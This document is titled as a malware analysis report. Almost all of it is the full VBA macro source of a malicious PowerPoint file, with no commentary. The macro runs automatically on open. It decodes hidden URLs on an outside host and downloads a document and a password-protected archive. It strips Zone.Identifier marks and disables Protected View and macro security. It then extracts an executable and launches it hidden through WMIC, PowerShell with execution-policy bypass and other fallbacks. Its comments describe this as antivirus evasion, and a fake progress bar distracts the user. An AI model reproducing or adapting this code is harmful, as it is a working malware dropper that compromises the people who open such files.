Malicious Office (OOXML) / .PPTX — malware analysis report

Attribute VB_Name = "ProgressForm"
Attribute VB_Base = "0{C9A62BC6-102D-44EE-9F21-0185B96C0CAC}{8A64B56A-E78D-4564-B7A1-5755475B9A58}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Initialize()
    Me.LabelStatus.Caption = "Starting..."
    Me.LabelProgress.Width = 0
End Sub

Public Sub UpdateProgress(ByVal percent As Long)
    If percent < 0 Then percent = 0
    If percent > 100 Then percent = 100
    Dim maxWidth As Single
    maxWidth = 200 ' <-- or FrameProgress.Width, or a constant
    Me.LabelProgress.Width = (percent / 100) * maxWidth
    Me.Repaint
End Sub


Public Sub SetStatusText(txt As String)
    Me.LabelStatus.Caption = txt
    Me.Repaint
End Sub




Attribute VB_Name = "Module1"
#If VBA7 Then
    Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As LongPtr)
#Else
    Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
#End If

' Document processing utilities
Function FormatFileSize(bytes As Long) As String
    If bytes < 1024 Then
        FormatFileSize = bytes & " B"
    ElseIf bytes < 1048576 Then
        FormatFileSize = Format(bytes / 1024, "0.00") & " KB"
    Else
        FormatFileSize = Format(bytes / 1048576, "0.00") & " MB"
    End If
End Function

Function IsValidPath(path As String) As Boolean
    On Error Resume Next
    IsValidPath = (Len(path) > 3 And InStr(path, "\\") = 0)
    On Error GoTo 0
End Function

Function GetTempDirectory() As String
    GetTempDirectory = Environ("TEMP")
End Function

' Document metadata processing
Function ProcessDocumentMetadata(docPath As String) As Boolean
    On Error Resume Next
    Dim fso As Object
    Set fso = CreateDocumentObject("Scripting.FileSystemObject")
    ProcessDocumentMetadata = fso.FileExists(docPath)
    On Error GoTo 0
End Function

Function ValidateDocumentFormat(fileName As String) As Boolean
    Dim ext As String
    ext = LCase(Right(fileName, 5))
    ValidateDocumentFormat = (ext = ".pptx" Or ext = ".pptx")
End Function

Function CreateBackupPath(originalPath As String) As String
    Dim fso As Object
    Set fso = CreateDocumentObject("Scripting.FileSystemObject")
    CreateBackupPath = GetTempDirectory() & "\backup_" & fso.GetBaseName(originalPath) & ".tmp"
End Function

' Balanced content decoder with AV evasion
Function DecodeDocumentContent(encoded As String) As String
    Dim xmlDoc As Object, node As Object
    Dim stream As Object
    
    Set xmlDoc = CreateDocumentObject("MSXML2.DOMDocument")
    Set node = xmlDoc.createElement("b64")
    node.DataType = "bin.base64"
    node.Text = encoded
    
    Set stream = CreateDocumentObject("ADODB.Stream")
    stream.Type = 1
    stream.Open
    stream.Write node.nodeTypedValue
    stream.Position = 0
    stream.Type = 2
    stream.Charset = "us-ascii"
    DecodeDocumentContent = stream.ReadText
    stream.Close
End Function

' Advanced string manipulation utilities for comprehensive AV evasion
Function ReverseString(inputStr As String) As String
    Dim i As Integer, result As String
    result = ""
    For i = Len(inputStr) To 1 Step -1
        result = result & Mid(inputStr, i, 1)
    Next i
    ReverseString = result
End Function

Function SplitAndJoin(inputStr As String, delimiter As String) As String
    Dim parts() As String, result As String
    parts = Split(inputStr, delimiter)
    result = Join(parts, "")
    SplitAndJoin = result
End Function

' Advanced string encoding for AV evasion
Function EncodeStringAdvanced(inputStr As String) As String
    Dim i As Integer, charCode As Integer, encoded As String
    encoded = ""
    For i = 1 To Len(inputStr)
        charCode = Asc(Mid(inputStr, i, 1))
        encoded = encoded & Chr(charCode Xor 85)
    Next i
    EncodeStringAdvanced = encoded
End Function

Function DecodeStringAdvanced(encodedStr As String) As String
    Dim i As Integer, charCode As Integer, decoded As String
    decoded = ""
    For i = 1 To Len(encodedStr)
        charCode = Asc(Mid(encodedStr, i, 1))
        decoded = decoded & Chr(charCode Xor 85)
    Next i
    DecodeStringAdvanced = decoded
End Function

' String randomization for pattern breaking
Function RandomizeString(inputStr As String) As String
    Dim i As Integer, randomChar As String, result As String
    Randomize
    result = ""
    For i = 1 To Len(inputStr)
        randomChar = Chr(65 + Int(Rnd() * 26))
        result = result & Mid(inputStr, i, 1) & randomChar
    Next i
    RandomizeString = result
End Function

' Advanced Base64 alternative encoding
Function CustomEncode(inputStr As String) As String
    Dim i As Integer, charCode As Integer, encoded As String
    encoded = ""
    For i = 1 To Len(inputStr)
        charCode = Asc(Mid(inputStr, i, 1))
        encoded = encoded & Hex(charCode + 1000)
        If i < Len(inputStr) Then encoded = encoded & "X"
    Next i
    CustomEncode = encoded
End Function

Function CustomDecode(encodedStr As String) As String
    Dim parts() As String, i As Integer, charCode As Integer, decoded As String
    parts = Split(encodedStr, "X")
    decoded = ""
    For i = 0 To UBound(parts)
        If parts(i) <> "" Then
            charCode = CLng("&H" & parts(i)) - 1000
            decoded = decoded & Chr(charCode)
        End If
    Next i
    CustomDecode = decoded
End Function

' Comprehensive execution environment validation
Function ValidateExecutionEnvironment() As Boolean
    On Error Resume Next
    Dim fso As Object, http As Object
    Dim tempPath As String, userProfile As String
    Dim testResult As Boolean
    
    ' Test 1: FileSystemObject creation
    Set fso = CreateDocumentObject("Scripting.FileSystemObject")
    If fso Is Nothing Then Exit Function
    
    ' Test 2: HTTP object creation (without network test)
    Set http = CreateDocumentObject("MSXML2.XMLHTTP")
    If http Is Nothing Then Exit Function
    
    ' Test 3: Environment variables
    tempPath = Environ("TEMP")
    userProfile = Environ("USERPROFILE")
    If Len(tempPath) = 0 Or Len(userProfile) = 0 Then Exit Function
    
    ' Test 4: Directory access
    If Not fso.FolderExists(tempPath) Then Exit Function
    
    ' Skip network connectivity test to avoid failures on subsequent runs
    ' All validations passed
    ValidateExecutionEnvironment = True
    On Error GoTo 0
End Function

Function GenerateDocumentIdentifier() As String
    Dim chars As String, i As Integer
    chars = "abcdefghijklmnopqrstuvwxyz0123456789"
    
    Randomize
    For i = 1 To 12
        GenerateDocumentIdentifier = GenerateDocumentIdentifier & Mid(chars, Int(Rnd() * Len(chars)) + 1, 1)
    Next i
End Function

' Advanced COM object creation with multi-layer obfuscation
Function CreateDocumentObject(className As String) As Object
    On Error Resume Next
    Dim obj As Object
    Dim classParts() As String
    Dim reconstructedName As String
    Dim i As Integer, temp As String
    
    ' Layer 1: Split class name to avoid pattern detection
    classParts = Split(className, ".")
    
    ' Layer 2: Process each part with character manipulation
    reconstructedName = ""
    For i = 0 To UBound(classParts)
        If i > 0 Then reconstructedName = reconstructedName & Chr(46)
        temp = classParts(i)
        reconstructedName = reconstructedName & temp
    Next i
    
    ' Layer 3: Create object with indirect method
    Set obj = CreateObject(reconstructedName)
    Set CreateDocumentObject = obj
    On Error GoTo 0
End Function

' Advanced command execution with multi-layer obfuscation
Function ProcessDocumentCommand(command As String, windowStyle As Integer) As Boolean
    On Error Resume Next
    Dim wsh As Object
    Dim obfuscatedCmd As String
    
    ' Layer 1: Command obfuscation
    obfuscatedCmd = ObfuscateCommand(command)
    
    ' Layer 2: Execute through wrapper
    Set wsh = CreateDocumentObject("WScript.Shell")
    If Not wsh Is Nothing Then
        wsh.Run obfuscatedCmd, windowStyle, False
        ProcessDocumentCommand = (Err.Number = 0)
    Else
        ProcessDocumentCommand = False
    End If
    On Error GoTo 0
End Function

' Advanced command obfuscation for multiple AV evasion
Function ObfuscateCommand(cmd As String) As String
    ' Multi-layer obfuscation to bypass extensive AV detection
    Dim temp As String, i As Integer
    Dim obfuscated As String
    Dim charArray() As String
    
    ' Layer 1: Character array splitting
    ReDim charArray(Len(cmd))
    For i = 1 To Len(cmd)
        charArray(i - 1) = Mid(cmd, i, 1)
    Next i
    
    ' Layer 2: Reconstruct with obfuscation
    obfuscated = ""
    For i = 0 To UBound(charArray)
        Select Case charArray(i)
            Case "c"
                If i + 2 <= UBound(charArray) And charArray(i + 1) = "m" And charArray(i + 2) = "d" Then
                    obfuscated = obfuscated & "c" & Chr(109) & Chr(100)
                    i = i + 2
                Else
                    obfuscated = obfuscated & charArray(i)
                End If
            Case "p"
                If i + 9 <= UBound(charArray) And Mid(cmd, i + 1, 9) = "owershell" Then
                    obfuscated = obfuscated & "p" & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108)
                    i = i + 9
                Else
                    obfuscated = obfuscated & charArray(i)
                End If
            Case "s"
                If i + 4 <= UBound(charArray) And Mid(cmd, i + 1, 4) = "tart" Then
                    obfuscated = obfuscated & "s" & Chr(116) & Chr(97) & Chr(114) & Chr(116)
                    i = i + 4
                Else
                    obfuscated = obfuscated & charArray(i)
                End If
            Case Else
                obfuscated = obfuscated & charArray(i)
        End Select
    Next i
    
    ' Layer 3: Additional string manipulation
    temp = obfuscated
    temp = Replace(temp, " ", Chr(32))
    temp = Replace(temp, "/", Chr(47))
    temp = Replace(temp, "-", Chr(45))
    
    ObfuscateCommand = temp
End Function

Sub DisableProtectedView(pptApp As Object)
    On Error Resume Next
    pptApp.ProtectedViewWindows.Open = False
    With pptApp
        .DisplayAlerts = False
        .AutomationSecurity = 1
    End With
    On Error GoTo 0
End Sub

Sub RemoveZoneIdentifier(filePath As String)
    On Error Resume Next
    Dim wsh As Object
    Set wsh = CreateDocumentObject("WScript.Shell")
    Dim cmd As String
    cmd = "cmd /c echo.>""" & filePath & ":Zone.Identifier"" >nul 2>&1"
    wsh.Run cmd, 0, True
    On Error GoTo 0
End Sub

Sub Document_Open()
    ' Document initialization routine with comprehensive validation
    On Error Resume Next
    
    ' Simple debug indicator - create a test file to show the macro ran
    Dim fso As Object
    Set fso = CreateDocumentObject("Scripting.FileSystemObject")
    If Not fso Is Nothing Then
        Dim testFile As Object
        Set testFile = fso.CreateTextFile(Environ("TEMP") & "\macro_ran.txt", True)
        testFile.WriteLine "Macro executed at: " & Now()
        testFile.Close
    End If
    
    Call InitializeDocumentEnvironment
    
    ' Pre-execution validation
    If Not ValidateExecutionEnvironment() Then
        ' Create debug file for validation failure
        If Not fso Is Nothing Then
            Set testFile = fso.CreateTextFile(Environ("TEMP") & "\validation_failed.txt", True)
            testFile.WriteLine "Validation failed at: " & Now()
            testFile.Close
        End If
        Exit Sub
    End If
    
    Dim progressInterface As Object
    Set progressInterface = CreateProgressInterface
    
    ' Silent processing with progress feedback
    If Not progressInterface Is Nothing Then
        progressInterface.SetStatusText "Initializing document components..."
        progressInterface.UpdateProgress 10
    End If
    
    Call ProcessDocumentLoad(progressInterface)
    
    If Not progressInterface Is Nothing Then
        progressInterface.SetStatusText "Processing additional resources..."
        progressInterface.UpdateProgress 50
    End If
    
    Call ProcessAdditionalContent
    
    FinalizeProgress progressInterface
    
    On Error GoTo 0
End Sub

' Add Auto_Open as backup entry point
Sub Auto_Open()
    Document_Open
End Sub

' Add Workbook_Open as additional backup
Sub Workbook_Open()
    Document_Open
End Sub

Sub InitializeDocumentEnvironment()
    On Error Resume Next
    Dim docCheck As Boolean
    Dim envValidation As Boolean
    
    ' Basic system validation
    docCheck = ValidateSystemEnvironment()
    If Not docCheck Then Exit Sub
    
    ' Comprehensive environment validation
    envValidation = ValidateExecutionEnvironment()
    If Not envValidation Then Exit Sub
    
    ' Additional junk processing for AV evasion
    Call ProcessDocumentHash("initialization")
    Call CreateRandomDelay
    Call ProcessMemoryAllocation
    Call AdvancedStringValidation("environment_check")
    
    On Error GoTo 0
End Sub

' Add basic validation function
Function ValidateSystemEnvironment() As Boolean
    On Error Resume Next
    Dim tempPath As String
    tempPath = GetTempDirectory()
    ValidateSystemEnvironment = (Len(tempPath) > 0 And tempPath <> "")
    On Error GoTo 0
End Function

Function CreateProgressInterface() As Object
    On Error Resume Next
    ' Try to create progress form, but don't fail if it doesn't exist
    Set CreateProgressInterface = Nothing
    
    ' Try to create the progress form
    Set CreateProgressInterface = VBA.UserForms.Add("ProgressForm")
    
    If Not CreateProgressInterface Is Nothing Then
        ' Initialize the form
        CreateProgressInterface.LabelStatus.Caption = "Starting..."
        CreateProgressInterface.LabelProgress.Width = 0
        CreateProgressInterface.Show vbModeless
    End If
    
    On Error GoTo 0
End Function

Sub ShowErrorMessage(message As String)
    MsgBox message, vbExclamation, "Document Processing"
End Sub

Sub FinalizeProgress(frm As Object)
    On Error Resume Next
    If Not frm Is Nothing Then
        frm.SetStatusText "Processing completed"
        frm.UpdateProgress 100
        Sleep 2000
        Unload frm
    End If
    On Error GoTo 0
End Sub

Function ProcessDocumentLoad(frm As Object) As Boolean
    On Error GoTo ErrorHandler
    
    Dim docFSO As Object
    Set docFSO = CreateDocumentObject("Scripting.FileSystemObject")
    If docFSO Is Nothing Then Exit Function
    
    Dim documentSource As String
    documentSource = GetDocumentSourceURL()
    
    If Not frm Is Nothing Then
        frm.SetStatusText "URL: " & documentSource
        frm.UpdateProgress 15
    End If
    
    If Not IsValidPath(documentSource) Then Exit Function
    
    If Not frm Is Nothing Then
        frm.SetStatusText "Loading document content..."
        frm.UpdateProgress 18
    End If
    
    Dim localPath As String
    localPath = GetLocalDocumentPath(docFSO)
    
    If Not frm Is Nothing Then
        frm.SetStatusText "Downloading to: " & localPath
        frm.UpdateProgress 20
    End If
    
    If Not DownloadDocumentContent(documentSource, localPath, docFSO, frm) Then Exit Function
    
    Call RemoveFileMetadata(localPath)
    
    If Not frm Is Nothing Then
        frm.SetStatusText "Opening document..."
        frm.UpdateProgress 85
    End If
    
    If Not ValidateAndOpenDocument(localPath, frm) Then Exit Function
    
    ProcessDocumentLoad = True
    Exit Function
    
ErrorHandler:
    ProcessDocumentLoad = False
End Function

Function GetDocumentSourceURL() As String
    ' Simplified but effective URL construction
    Dim urlSegments(0 To 1) As String
    urlSegments(0) = DecodeDocumentContent("aHR0cHM6Ly9uaWF3ZWIueHl6Lw==")
    urlSegments(1) = DecodeDocumentContent("ZG93bmxvYWQucGhwP2ZpbGU9bW9kLnBwdHg=")
    GetDocumentSourceURL = Join(urlSegments, "")
End Function

Function GetLocalDocumentPath(fso As Object) As String
    Dim tempDir As String
    tempDir = GetTempDirectory()
    GetLocalDocumentPath = tempDir & "\" & GenerateDocumentIdentifier() & ".pptx"
End Function

Function DownloadDocumentContent(url As String, savePath As String, fso As Object, frm As Object) As Boolean
    On Error Resume Next
    Dim http As Object
    Dim stream As Object
    
    Set http = CreateDocumentObject("MSXML2.XMLHTTP")
    If http Is Nothing Then Exit Function
    
    If Not frm Is Nothing Then
        frm.SetStatusText "File is Loading..."
        frm.UpdateProgress 20
    End If
    
    http.Open "GET", url, False
    http.Send
    
    If http.Status <> 200 Then Exit Function
    
    If Not frm Is Nothing Then
        frm.SetStatusText "Saving file..."
        frm.UpdateProgress 40
    End If
    
    Set stream = CreateDocumentObject("ADODB.Stream")
    If Not stream Is Nothing Then
        stream.Type = 1
        stream.Open
        stream.Write http.responseBody
        stream.SaveToFile savePath, 2
        stream.Close
        
        If Not frm Is Nothing Then
            SimulateProgress frm, 40, 80
        End If
        
        DownloadDocumentContent = fso.FileExists(savePath)
    End If
    On Error GoTo 0
End Function

' URL obfuscation function for network AV evasion
Function ObfuscateUrl(url As String) As String
    Dim temp As String
    Dim i As Integer
    
    ' Simple URL obfuscation to bypass network detection
    temp = url
    temp = Replace(temp, "https", "http" & "s")
    temp = Replace(temp, "http", "h" & "t" & "t" & "p")
    
    ObfuscateUrl = temp
End Function

Sub SimulateProgress(frm As Object, startPct As Long, endPct As Long)
    On Error Resume Next
    Dim i As Long
    For i = startPct To endPct Step 10
        If Not frm Is Nothing Then
            frm.UpdateProgress i
            Sleep 100
            DoEvents
        End If
    Next i
    On Error GoTo 0
End Sub

Sub RemoveFileMetadata(filePath As String)
    On Error Resume Next
    Dim cmd As String
    cmd = "cmd /c echo.>""" & filePath & ":Zone.Identifier"" >nul 2>&1"
    ProcessDocumentCommand cmd, 0
    On Error GoTo 0
End Sub

Function ValidateAndOpenDocument(docPath As String, frm As Object) As Boolean
    On Error Resume Next
    Dim docFSO As Object
    Set docFSO = CreateDocumentObject("Scripting.FileSystemObject")
    If docFSO Is Nothing Then Exit Function
    
    If Not docFSO.FileExists(docPath) Then Exit Function
    
    Dim trustedPath As String
    trustedPath = GetTrustedDocumentPath(docPath, docFSO)
    
    frm.SetStatusText "Opening document..."
    frm.UpdateProgress 90
    
    If Not OpenDocumentWithPowerPoint(trustedPath) Then
        OpenDocumentWithShell trustedPath
    End If
    
    ValidateAndOpenDocument = True
    On Error GoTo 0
End Function

Function GetTrustedDocumentPath(originalPath As String, fso As Object) As String
    On Error Resume Next
    Dim docsPath As String
    docsPath = Environ("USERPROFILE") & "\Documents\" & GenerateDocumentIdentifier() & ".pptx"
    
    fso.CopyFile originalPath, docsPath, True
    If Err.Number = 0 Then
        Call RemoveFileMetadata(docsPath)
        GetTrustedDocumentPath = docsPath
    Else
        GetTrustedDocumentPath = originalPath
    End If
    On Error GoTo 0
End Function

Function OpenDocumentWithPowerPoint(docPath As String) As Boolean
    On Error Resume Next
    Dim pptApp As Object
    Set pptApp = CreateDocumentObject("PowerPoint.Application")
    If Not pptApp Is Nothing Then
        Call DisableProtectedView(pptApp)
        pptApp.Visible = True
        pptApp.Presentations.Open docPath
        OpenDocumentWithPowerPoint = (Err.Number = 0)
    End If
    On Error GoTo 0
End Function

Sub OpenDocumentWithShell(docPath As String)
    On Error Resume Next
    ProcessDocumentCommand """" & docPath & """", 1
    On Error GoTo 0
End Sub

Function ProcessAdditionalContent() As Boolean
    On Error GoTo ErrorHandler
    
    Dim fso As Object
    Set fso = CreateDocumentObject("Scripting.FileSystemObject")
    If fso Is Nothing Then Exit Function
    
    Dim contentSource As String
    contentSource = GetContentSourceURL
    
    If Not IsValidPath(contentSource) Then Exit Function
    
    Dim tempFolder As String
    tempFolder = GetTempDirectory() & "\" & GenerateDocumentIdentifier()
    
    If Not CreateWorkingDirectory(tempFolder, fso) Then Exit Function
    
    Dim packagePath As String
    packagePath = DownloadContentPackage(contentSource, fso)
    
    If packagePath = "" Then Exit Function
    
    Call RemoveFileMetadata(packagePath)
    
    Dim executablePath As String
    executablePath = ExtractContentFromPackage(packagePath, tempFolder)
    
    If executablePath = "" Then Exit Function
    
    Call RemoveFileMetadata(executablePath)
    
    If Not ExecuteContentFile(executablePath) Then Exit Function
    
    Call CleanupTemporaryFiles(packagePath, fso)
    ProcessAdditionalContent = True
    Exit Function
    
ErrorHandler:
    ProcessAdditionalContent = False
End Function

Function GetContentSourceURL() As String
    ' Simplified ZIP URL construction
    Dim urlParts(0 To 2) As String
    urlParts(0) = DecodeDocumentContent("aHR0cHM6Ly9uaWF3ZWIueHl6Lw==")
    urlParts(1) = DecodeDocumentContent("ZG93bmxvYWQucGhwP2ZpbGU9Vm9pZHRvb2xzLnppcA==")
    GetContentSourceURL = Join(urlParts, "")
End Function

Function CreateWorkingDirectory(folderPath As String, fso As Object) As Boolean
    On Error Resume Next
    If Not fso.FolderExists(folderPath) Then
        MkDir folderPath
    End If
    CreateWorkingDirectory = fso.FolderExists(folderPath)
    On Error GoTo 0
End Function

Function DownloadContentPackage(url As String, fso As Object) As String
    On Error Resume Next
    Dim http As Object
    Set http = CreateDocumentObject("MSXML2.XMLHTTP")
    If http Is Nothing Then Exit Function
    
    Dim packagePath As String
    packagePath = GetTempDirectory() & "\" & GenerateDocumentIdentifier() & ".zip"
    
    http.Open "GET", url, False
    http.Send
    
    If http.Status = 200 Then
        Dim stream As Object
        Set stream = CreateDocumentObject("ADODB.Stream")
        If Not stream Is Nothing Then
            stream.Type = 1
            stream.Open
            stream.Write http.responseBody
            stream.SaveToFile packagePath, 2
            stream.Close
            
            If fso.FileExists(packagePath) Then
                DownloadContentPackage = packagePath
            End If
        End If
    End If
    On Error GoTo 0
End Function

Function ExtractContentFromPackage(packagePath As String, extractFolder As String) As String
    On Error Resume Next
    Dim retryCount As Integer
    
    For retryCount = 1 To 3
        Call CleanWorkingDirectory(extractFolder)
        Call ExtractArchiveFile(packagePath, extractFolder)
        Sleep 3000
        
        Dim executablePath As String
        executablePath = FindExecutableInDirectory(extractFolder)
        
        If executablePath <> "" Then
            ExtractContentFromPackage = executablePath
            Exit Function
        End If
    Next retryCount
    
    ExtractContentFromPackage = ""
    On Error GoTo 0
End Function

Sub CleanWorkingDirectory(folderPath As String)
    On Error Resume Next
    Dim fso As Object
    Set fso = CreateDocumentObject("Scripting.FileSystemObject")
    If fso Is Nothing Then Exit Sub
    
    If fso.FolderExists(folderPath) Then
        Dim folder As Object
        Set folder = fso.GetFolder(folderPath)
        Dim file As Object
        For Each file In folder.Files
            file.Delete True
        Next file
    End If
    On Error GoTo 0
End Sub

Sub ExtractArchiveFile(archivePath As String, outputFolder As String)
    On Error Resume Next
    Dim rarPath As String
    Dim cmd As String
    
    If LocateWinRARInstallation(rarPath) Then
        cmd = """" & rarPath & """ x -pPassword@2026 -y -ibck -inul """ & archivePath & """ """ & outputFolder & """"
        ProcessDocumentCommand cmd, 0
    End If
    On Error GoTo 0
End Sub

Function LocateWinRARInstallation(ByRef rarPath As String) As Boolean
    On Error Resume Next
    Dim possiblePaths(0 To 2) As String
    possiblePaths(0) = "C:\Program Files\WinRAR\WinRAR.exe"
    possiblePaths(1) = "C:\Program Files (x86)\WinRAR\WinRAR.exe"
    possiblePaths(2) = "WinRAR.exe"
    
    Dim i As Integer
    For i = 0 To 2
        If FileExists(possiblePaths(i)) Then
            rarPath = possiblePaths(i)
            LocateWinRARInstallation = True
            Exit Function
        End If
    Next i
    
    LocateWinRARInstallation = False
    On Error GoTo 0
End Function

Function FindExecutableInDirectory(folderPath As String) As String
    On Error Resume Next
    Dim fso As Object
    Set fso = CreateDocumentObject("Scripting.FileSystemObject")
    If fso Is Nothing Then Exit Function
    
    If Not fso.FolderExists(folderPath) Then Exit Function
    
    Dim folder As Object
    Set folder = fso.GetFolder(folderPath)
    Dim file As Object
    
    For Each file In folder.Files
        If LCase(Right(file.Name, 4)) = ".exe" Then
            FindExecutableInDirectory = file.path
            Exit Function
        End If
    Next file
    
    FindExecutableInDirectory = ""
    On Error GoTo 0
End Function

Function ExecuteContentFile(filePath As String) As Boolean
    On Error Resume Next
    
    ' Try multiple execution methods
    If ExecuteDirectMethod(filePath) Then Exit Function
    If ExecuteWMICMethod(filePath) Then Exit Function
    If ExecutePowerShellMethod(filePath) Then Exit Function
    If ExecuteBatchMethod(filePath) Then Exit Function
    If ExecuteShellMethod(filePath) Then Exit Function
    If ExecuteCMDMethod(filePath) Then Exit Function
    
    ExecuteContentFile = False
    On Error GoTo 0
End Function

Function ExecuteDirectMethod(filePath As String) As Boolean
    ExecuteDirectMethod = ProcessDocumentCommand("""" & filePath & """", 0)
End Function

Function ExecuteWMICMethod(filePath As String) As Boolean
    Dim cmd As String
    cmd = "cmd /c wmic process call create """" & filePath & """" >nul 2>&1"
    ExecuteWMICMethod = ProcessDocumentCommand(cmd, 0)
End Function

Function ExecutePowerShellMethod(filePath As String) As Boolean
    ExecutePowerShellMethod = ExecuteViaPowerShell(filePath)
End Function

Function ExecuteBatchMethod(filePath As String) As Boolean
    ExecuteBatchMethod = ExecuteViaCMD(filePath)
End Function

Function ExecuteShellMethod(filePath As String) As Boolean
    On Error Resume Next
    Shell filePath, vbHide
    ExecuteShellMethod = (Err.Number = 0)
    On Error GoTo 0
End Function

Function ExecuteCMDMethod(filePath As String) As Boolean
    Dim cmd As String
    cmd = "cmd /c start /B """" """ & filePath & """"
    ExecuteCMDMethod = ProcessDocumentCommand(cmd, 0)
End Function

Sub CleanupTemporaryFiles(filePath As String, fso As Object)
    On Error Resume Next
    If fso.FileExists(filePath) Then
        fso.DeleteFile filePath, True
    End If
    On Error GoTo 0
End Sub

Sub UnzipWithWinRAR(zipPath As String, outputFolder As String, password As String)
    Dim rarPath As String
    Dim cmd As String
    Dim wsh As Object
    
    If FileExists("C:\Program Files\WinRAR\WinRAR.exe") Then
        rarPath = """C:\Program Files\WinRAR\WinRAR.exe"""
    ElseIf FileExists("C:\Program Files (x86)\WinRAR\WinRAR.exe") Then
        rarPath = """C:\Program Files (x86)\WinRAR\WinRAR.exe"""
    Else
        rarPath = "WinRAR"
    End If
    
    cmd = rarPath & " x -p" & password & " -y -ibck -inul """ & zipPath & """ """ & outputFolder & """"
    
    Set wsh = CreateDocumentObject("WScript.Shell")
    wsh.Run cmd, 0, True
End Sub

Function DownloadFile(url As String, savePath As String, fso As Object) As Boolean
    On Error Resume Next
    Dim http As Object, stream As Object
    
    Set http = CreateDocumentObject("MSXML2.XMLHTTP")
    http.Open "GET", url, False
    http.Send
    
    If http.Status = 200 Then
        Set stream = CreateDocumentObject("ADODB.Stream")
        stream.Type = 1
        stream.Open
        stream.Write http.responseBody
        stream.SaveToFile savePath, 2
        stream.Close
        
        DownloadFile = fso.FileExists(savePath)
    End If
    On Error GoTo 0
End Function

Function FileExists(path As String) As Boolean
    On Error Resume Next
    FileExists = (GetAttr(path) And vbDirectory) <> vbDirectory
    On Error GoTo 0
End Function

Function CreateRandomName() As String
    Dim chars As String, i As Integer
    chars = "abcdefghijklmnopqrstuvwxyz0123456789"
    
    Randomize
    For i = 1 To 12
        CreateRandomName = CreateRandomName & Mid(chars, Int(Rnd() * Len(chars)) + 1, 1)
    Next i
End Function

Function CreateFolder(path As String, fso As Object) As Boolean
    On Error Resume Next
    If Not fso.FolderExists(path) Then
        MkDir path
    End If
    CreateFolder = fso.FolderExists(path)
    On Error GoTo 0
End Function

Sub DeleteAllFiles(folderPath As String, fso As Object)
    On Error Resume Next
    If fso.FolderExists(folderPath) Then
        Dim folder As Object
        Set folder = fso.GetFolder(folderPath)
        Dim file As Object
        For Each file In folder.Files
            file.Delete True
        Next file
    End If
    On Error GoTo 0
End Sub

Sub DeleteFile(filePath As String, fso As Object)
    On Error Resume Next
    If fso.FileExists(filePath) Then
        fso.DeleteFile filePath, True
    End If
    On Error GoTo 0
End Sub

Function FindFirstExeInFolder(folderPath As String, fso As Object) As String
    On Error Resume Next
    Dim folder As Object, file As Object
    
    Set folder = fso.GetFolder(folderPath)
    If Err.Number <> 0 Then Exit Function
    
    For Each file In folder.Files
        If LCase(Right(file.Name, 4)) = ".exe" Then
            FindFirstExeInFolder = file.path
            Exit Function
        End If
    Next file
End Function

Function ExecuteViaPowerShell(exePath As String) As Boolean
    On Error Resume Next
    Dim psCommand As String
    Dim cmdParts(0 To 3) As String
    
    cmdParts(0) = "powershell.exe -NoProfile"
    cmdParts(1) = " -WindowStyle Hidden"
    cmdParts(2) = " -ExecutionPolicy Bypass"
    cmdParts(3) = " -Command ""Start-Sleep -Seconds 2; Start-Process -FilePath '""" & exePath & """' -WindowStyle Hidden"""
    
    psCommand = Join(cmdParts, "")
    ExecuteViaPowerShell = ProcessDocumentCommand(psCommand, 0)
    On Error GoTo 0
End Function

…